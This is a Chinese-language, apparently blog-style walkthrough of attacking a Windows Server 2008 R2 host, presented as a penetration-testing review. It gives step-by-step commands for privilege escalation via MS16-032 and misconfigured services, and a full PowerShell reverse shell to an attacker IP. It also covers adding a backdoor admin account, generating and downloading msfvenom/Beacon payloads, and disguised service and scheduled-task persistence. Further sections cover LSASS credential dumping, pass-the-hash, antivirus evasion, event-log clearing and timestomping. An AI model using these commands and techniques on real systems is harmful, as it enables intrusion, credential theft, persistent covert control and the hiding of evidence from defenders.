1. 项目概述与核心价值最近在整理一些老系统的安全评估记录翻到了一个典型的Windows Server 2008 R2环境渗透测试案例。这个系统虽然早已过了扩展支持周期但在一些特定行业如制造业、医疗、教育的内部网络中依然偶有现身往往承载着一些难以迁移的关键业务应用。针对这类“老、旧、弱”系统的安全测试其核心价值不在于炫技而在于揭示一个残酷的现实一个未打补丁的系统漏洞配合上薄弱的内网权限管理足以让攻击者从外部的一个小口子一路畅通无阻地拿到整个域的控制权。今天我就以一个实战复现的视角完整拆解从漏洞利用、权限提升到建立稳定远程控制通道的全过程。这不仅是技术复盘更希望能为仍在运维此类系统的管理员敲响警钟也为安全研究人员提供一个清晰的、可复现的攻防演练蓝本。整个流程可以概括为“发现-利用-提权-控制”四个阶段。我们假设攻击者已经通过某种方式例如利用一个面向公网的Web应用漏洞获得了在该服务器上的一个初始立足点通常是一个低权限的Web服务账户如IIS APPPOOL\DefaultAppPool或NETWORK SERVICE。我们的目标就是从这个受限的“牢笼”里跳出来拿到最高权限的SYSTEM或管理员账户并部署一个隐蔽、稳定的后门实现持续的远程控制。在这个过程中我们会重点剖析几个经典漏洞和工具的使用逻辑以及在实际对抗环境中可能遇到的“坑”。2. 环境准备与信息收集实战的第一步永远不是盲目地扔出漏洞利用代码而是静下心来像外科手术前的检查一样把目标系统的“身体状况”摸清楚。对于Windows Server 2008 R2我们需要收集的信息维度远比新系统要多。2.1 系统基础信息探查拿到一个低权限的Shell可能是通过Webshell或命令注入获得的cmd/powershell后首先要做的就是系统指纹识别。虽然标题已经指明了是2008 R2但确认具体版本和补丁级别至关重要。# 查看系统版本和补丁信息 systeminfo | findstr /B /C:OS Name /C:OS Version /C:System Type /C:Hotfix(s) # 另一种更详细的方式使用WMIC wmic os get caption, version, csname, osarchitecture, buildnumber, servicepackmajorversion, lastbootuptimesysteminfo命令的输出会列出所有已安装的补丁KB编号。这是我们的“宝藏图”我们需要快速从中识别出哪些关键的安全补丁没有安装。例如对于提权我们会重点关注像KB2871997、KB3045171这类与用户账户控制UAC或凭证处理相关的补丁是否缺失。注意在内网环境中systeminfo命令执行可能会比较慢因为它会尝试从Windows Update获取更多信息。如果环境受限可以使用wmic qfe get hotfixid来只获取补丁列表速度更快。2.2 权限与用户枚举明确当前权限能做什么是规划后续行动的基础。# 查看当前用户和权限 whoami whoami /priv whoami /groups # 查看本地用户和组特别是管理员组 net user net localgroup administrators # 查看当前进程寻找以高权限如SYSTEM、Administrator运行的服务或进程 tasklist /v | findstr /I system admin这里有个关键点whoami /priv会显示当前令牌Token启用的特权。即使你是一个普通用户如果某些高危特权如SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege被启用那么提权的大门就已经敞开了一半。在IIS的应用程序池账户上下文中SeImpersonatePrivilege通常是默认启用的这为经典的“土豆系列”Juicy Potato, Rogue Potato提权漏洞提供了温床。2.3 网络与服务发现了解系统在内网中的角色和开放的端口有助于我们判断横向移动的可能性和建立控制通道的方式。# 查看网络配置和活动连接 ipconfig /all netstat -ano | findstr LISTENING # 查看启动的服务寻找可能存在漏洞的旧版本服务 sc query state all | findstr SERVICE_NAME wmic service get name, displayname, pathname, startmode | findstr /i auto特别注意那些以SYSTEM权限启动的、二进制文件路径包含空格且权限配置不当的服务这是经典的DLL劫持或可执行文件替换提权的手工检查点。同时留意是否有像VNC、Radmin、TeamViewer旧版本等第三方远程管理软件的痕迹它们本身可能就是突破口或备用控制通道。3. 漏洞利用与提权路径解析信息收集完毕后我们就进入了核心的突破阶段。针对Windows Server 2008 R2有几条经过时间检验的经典提权路径。3.1 利用系统未修补的本地提权漏洞这是最直接的方式。我们需要将之前收集的补丁列表与已知的本地提权漏洞进行比对。例如MS14-058 (CVE-2014-4113) / MS15-010 (CVE-2015-0057)内核模式驱动中的漏洞对应提权工具如MS14-058.exe。如果目标没有安装2015年初的相应补丁成功率很高。MS16-032 (CVE-2016-0099)Secondary Logon Handle漏洞对应工具MS16-032.ps1或ms16-032.exe。这是一个非常稳定可靠的提权漏洞在未打补丁的2008 R2上几乎百发百中。MS17-010 (CVE-2017-0143)大名鼎鼎的“永恒之蓝”系列漏洞中的SMB漏洞。虽然它更广为人知的是远程代码执行但其内核模块srv.sys的漏洞同样可以用于本地提权。使用MS17-010(EternalBlue)的本地提权版本如一些修改后的ms17-010.exe。实操要点工具上传与执行将编译好的提权利用程序exe上传到目标服务器的可写目录如C:\Windows\Temp\或C:\inetpub\wwwroot\upload\如果是Webshell。注意杀毒软件可能会拦截可能需要做简单的混淆或使用无文件落地的方式。使用Metasploit的本地模块如果你是通过Meterpreter会话连接的可以直接在Metasploit框架内搜索并使用对应的本地提权模块例如use exploit/windows/local/ms16_032_secondary_logon_handle然后设置会话set SESSION 1执行run。这种方式更集成化成功后会自动将权限迁移到高权限进程。手动执行与回连对于独立的exe通常用法是ms16-032.exe -c “需要执行的命令”。例如ms16-032.exe -c “net user backdoor Pssw0rd! /add net localgroup administrators backdoor /add”直接添加一个管理员账户。更稳妥的做法是执行一个反弹Shell的命令将高权限的Shell弹回你的监听器。踩坑记录在一次测试中直接使用ms16-032.exe -c “cmd.exe”试图打开一个交互式Shell失败了因为创建的进程很快就退出了。后来改用-c “powershell -nop -c ‘$client New-Object System.Net.Sockets.TCPClient(\”攻击者IP\”,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback \”PS \” (pwd).Path \” \”;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’”这种冗长的PowerShell反弹命令时由于命令中的引号嵌套和长度问题也失败了。最终解决方案是先将PowerShell反弹脚本写入一个临时文件然后让提权工具执行这个脚本文件成功率100%。3.2 利用服务配置不当提权如果系统补丁打得比较全那么就需要转向逻辑漏洞。检查服务配置是重中之重。查找弱权限服务使用accesschk.exeSysInternals工具包的一部分或PowerUp.ps1脚本进行自动化扫描。# 上传并导入PowerUp.ps1 Import-Module .\PowerUp.ps1 Invoke-AllChecks这个脚本会检查一系列常见的提权向量包括服务可执行文件权限服务对应的exe文件是否允许普通用户修改或写入。未引用的服务路径服务路径如C:\Program Files\Vulnerable App\service\sub dir\server.exe如果路径中包含空格且没有用引号括起来Windows会按顺序尝试定位可执行文件。攻击者可以在C:\Program Files\Vulnerable App\service\目录下放置一个恶意的sub.exe当服务重启时系统会执行sub.exe而不是sub dir\server.exe。服务注册表权限是否有权限修改服务的ImagePath注册表项。利用过程以“未引用的服务路径”为例。假设发现一个以SYSTEM运行的VulnService其路径为C:\My Programs\My Service\service.exe。确认你对C:\My Programs\有写入权限。将你的后门程序例如一个添加用户的exe重命名为My.exe上传到C:\My Programs\目录下。重启服务。系统会尝试执行C:\My Programs\My.exe因为空格它解析为C:\My Programs\My作为程序Service\service.exe作为参数从而以SYSTEM权限运行你的恶意程序。重启服务的方式可以是等待系统更新或管理员维护或者如果你有SC_MANAGER相关权限可以尝试用sc stop VulnService sc start VulnService。3.3 利用计划任务提权Windows计划任务Task Scheduler也是提权的常见入口。检查是否有计划任务指向用户可修改的脚本或可执行文件。# 查看计划任务列表 schtasks /query /fo LIST /v # 或者使用更强大的PowerShell Get-ScheduledTask | Where-Object {$_.TaskPath -notlike \Microsoft*} | Format-Table TaskName, TaskPath, State如果发现一个计划任务以高权限运行并且其操作Action指向一个.bat,.vbs,.ps1脚本或某个exe而这个文件所在的目录你对它有“完全控制”权限那么你就可以替换这个文件等待任务执行时获得权限。4. 建立持久化远程控制通道提权成功拿到SYSTEM或管理员权限的Shell后工作只完成了一半。一个不稳定的、可能随时关闭的Shell是没有价值的。我们需要建立一个隐蔽、稳定、重启后依然存在的远程控制通道。4.1 传统后门方式及其局限性很多人第一反应是添加隐藏用户、开启远程桌面RDP。这在某些情况下可行但动静太大容易被发现。添加隐藏用户net user命令添加的用户在“计算机管理”和net user命令列表中可见。使用net user username$ password /add可以创建一个以$结尾的“隐藏”用户在普通net user列表中不显示但在“本地用户和组”管理单元lusrmgr.msc中依然可见并非真正隐蔽。开启RDPreg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f加上防火墙规则。但RDP端口3389是重点监控对象连接行为也容易被日志记录。4.2 推荐部署定制化C2代理在专业的渗透测试或红队行动中更倾向于部署一个轻量级的、支持加密和混淆的Command Control (C2) 代理。这里以开源的Cobalt Strike的Beacon或Metasploit的Meterpreter为例讲解部署思路。生成Payload在C2服务器上生成一个适合目标的Staged或Stageless Payload。对于Windows通常选择.exe或.ps1格式。考虑到免杀可能需要进行编码、加壳或使用Shellcode加载器。在Metasploit中msfvenom -p windows/x64/meterpreter/reverse_https LHOST你的IP LPORT443 -f exe -o beacon.exe在Cobalt Strike中通过Attack - Packages - Windows Executable (S)生成。上传与执行将生成的beacon.exe上传到目标服务器的隐蔽目录例如C:\Windows\Temp\、C:\ProgramData\下的某个子文件夹或者利用系统本身的合法路径进行伪装。# 假设我们已经有一个SYSTEM权限的cmd cd C:\Windows\Temp # 使用certutil下载如果出网 certutil -urlcache -split -f http://你的服务器/beacon.exe beacon.exe # 或者直接上传文件后执行 start beacon.exe持久化安装让代理在系统启动时自动运行。注册表启动项reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Windows\Temp\beacon.exe /f。这种方法简单但也是常规检查点。服务安装将代理安装为系统服务更加隐蔽和稳定。# 使用sc命令创建服务 sc create WinDefendUpdate binPath C:\Windows\Temp\beacon.exe start auto DisplayName Windows Defender Update sc start WinDefendUpdate这里的关键是binPath后面的等号和值之间必须有一个空格这是sc命令的古老语法无数人在这里踩坑。服务名和显示名尽量模仿系统服务。计划任务创建一个在系统启动或用户登录时触发的计划任务指向我们的代理。schtasks /create /tn \Microsoft\Windows\WindowsUpdate\Sync /tr C:\Windows\Temp\beacon.exe /sc onstart /ru SYSTEM /f路径\Microsoft\Windows\WindowsUpdate\Sync看起来像是系统任务隐蔽性较好。隧道与代理一旦代理上线你就可以在C2服务器上建立一个socks代理通过这台被控的服务器去访问其所在内网的其他机器进行横向移动。在Metasploit的Meterpreter会话中run autoroute -s 10.0.0.0/24(添加路由)然后background会话使用auxiliary/server/socks_proxy模块开启代理。在Cobalt Strike中右键点击上线的Beacon选择Pivoting - SOCKS Server。4.3 备用通道利用系统自带工具在某些严格限制出网协议的环境中可能需要对C2流量进行伪装或者需要准备备用控制通道。DNS隧道如果目标服务器只能进行DNS查询可以使用DNS隧道工具如dnscat2建立控制通道。将流量封装在DNS查询和响应中。ICMP隧道使用icmpsh或ptunnel等工具将数据封装在ICMP Echo请求/响应包中。这在只允许ping通外网的环境中有效。Web反向代理如果服务器上运行着Web服务如IIS可以尝试在Web目录中部署一个aspx或jsp的Webshell作为备用交互界面。例如使用AntSword或Cobalt Strike的Foreign HTTP监听器配合Web Delivery脚本在严格网络策略下可能更容易建立连接。实操心得关于免杀与对抗现在的EDR终端检测与响应和杀毒软件非常敏感。直接使用msfvenom生成的默认exe几乎会被瞬间查杀。我的经验是使用加载器Loader自己用C/C或Go编写一个简单的Shellcode加载器从资源文件或网络加载加密的Shellcode在内存中解密并执行。这样可以绕过基于静态特征的查杀。分离式加载将Payload放在远程服务器上。代理只负责下载一段Loader代码再由Loader去下载并执行最终的Shellcode。这样代理本身很小特征不明显。过程注入Process Injection将Shellcode注入到像explorer.exe,svchost.exe这类白名单进程中执行。Meterpreter的migrate命令就是干这个的。可以编写自己的注入工具或者使用像Process Hollowing这样的技术。签名与伪装给生成的exe伪造一个有效的数字签名注意法律风险或者将其捆绑Bind到一个正常的软件安装包里。5. 横向移动与权限维持进阶在单台服务器上站稳脚跟后视野要转向整个内网。Windows Server 2008 R2很可能是一个域成员服务器甚至是域控制器DC。5.1 凭证窃取与哈希传递在内网中最宝贵的资产就是凭证密码、哈希值。抓取内存中的密码哈希使用Mimikatz是标准操作。但直接运行mimikatz.exe可能会被内存扫描查杀。离线抓取先使用procdump.exe微软官方工具白名单将lsass.exe进程的内存转储下来procdump.exe -accepteula -ma lsass.exe lsass.dmp。然后将dump文件下载到本地在本地用Mimikatz分析sekurlsa::minidump lsass.dmp-sekurlsa::logonPasswords full。绕过LSA保护如果系统安装了KB2871997补丁并启用了“受保护的进程”功能RunAsPPL上述方法可能失效。需要先利用驱动漏洞或特殊方法绕过保护或者尝试从注册表HKLM\SECURITY和HKLM\SAM中提取缓存的凭据需要SYSTEM权限。哈希传递攻击一旦获取到其他用户尤其是域管理员的NTLM哈希就可以在不破解明文密码的情况下直接使用该哈希进行身份验证访问网络资源。# 在Meterpreter中加载Mimikatz后 meterpreter load kiwi meterpreter pth USERNAME DOMAIN HASH # 或者使用独立的工具如smbexec.py python smbexec.py -hashes :NTLM_HASH DOMAIN/USERNAMETARGET_IP5.2 利用域内漏洞与关系如果目标是域控制器或拥有域管理员权限的服务器攻击面会急剧扩大。MS14-068 (CVE-2014-6324)Kerberos域提权漏洞。允许任何一个域用户伪造票据将自己提升为域管理员。使用pykek或goldenPac.py工具可以利用。SMB共享扫描与爆破使用crackmapexec等工具利用获取的哈希或密码对网段进行SMB爆破和命令执行。GPP密码泄露在域组策略中历史上曾有一个功能允许管理员为域内计算机的本地账户设置统一密码这些密码被加密后存储在SYSVOL共享目录的XML文件中。加密密钥是公开的导致密码可被轻易解密。使用Get-GPPPassword.ps1脚本可以自动化搜索和解密。6. 痕迹清理与对抗检测“悄悄地进村打枪的不要。” 在完成目标后或者在日常维护后门时清理痕迹至关重要。日志清理Windows事件日志是管理员回溯攻击路径的主要依据。清除特定日志在PowerShell中Clear-EventLog -LogName Security, System, Application。但这条命令本身会产生新的日志条目。更隐蔽的方法使用wevtutil工具或者直接编写程序调用Windows API来按条件删除日志条目而不是清空整个日志。实操建议对于短期测试可以考虑在攻击前就禁用相关日志wevtutil sl Security /e:false但这也是一种异常行为。对于长期潜伏更优策略是尽量不触发会产生警报的日志如4625登录失败、4688进程创建等而不是事后清理。文件时间戳修改上传的工具和后门文件会留下创建、修改、访问时间。使用timestomp工具Metasploit或PowerShell命令可以将文件时间修改为与系统目录中其他合法文件一致的时间。# 将一个文件的时间戳设置为与kernel32.dll相同 $templateFile Get-Item C:\Windows\System32\kernel32.dll $targetFile Get-Item C:\Windows\Temp\beacon.exe $targetFile.CreationTime $templateFile.CreationTime $targetFile.LastAccessTime $templateFile.LastAccessTime $targetFile.LastWriteTime $templateFile.LastWriteTime隐藏进程与网络连接高水平的Rootkit可以隐藏进程和端口。但在不安装驱动的情况下可以通过将后门注入到系统可信进程如svchost.exe中这样网络连接看起来是属于svchost.exe的相对隐蔽。对抗内存扫描这是与EDR/杀软对抗的前沿。技术包括直接系统调用不通过正常的Windows API如CreateRemoteThread而是直接调用底层系统服务避免用户态的Hook。反射式DLL注入将DLL直接加载到内存中而不在磁盘上留下DLL文件也不通过LoadLibraryAPI。进程镂空创建一个合法进程的挂起状态将其内存替换为恶意代码然后恢复执行。整个从提权到远程控制的过程是一场与系统防御机制持续博弈的猫鼠游戏。针对像Windows Server 2008 R2这样的老系统虽然已知漏洞多但往往也意味着其所在的环境相对封闭安全监控可能较弱或者存在大量兼容性限制这给攻击和防御都带来了独特的挑战。对于防御方而言最根本的措施仍然是及时升级系统、打上所有安全补丁、遵循最小权限原则、部署网络分段和严格的主机安全策略。而对于安全研究者来说理解这些经典攻击链的每一个环节不仅能更好地进行渗透测试更是构建有效防御体系的知识基石。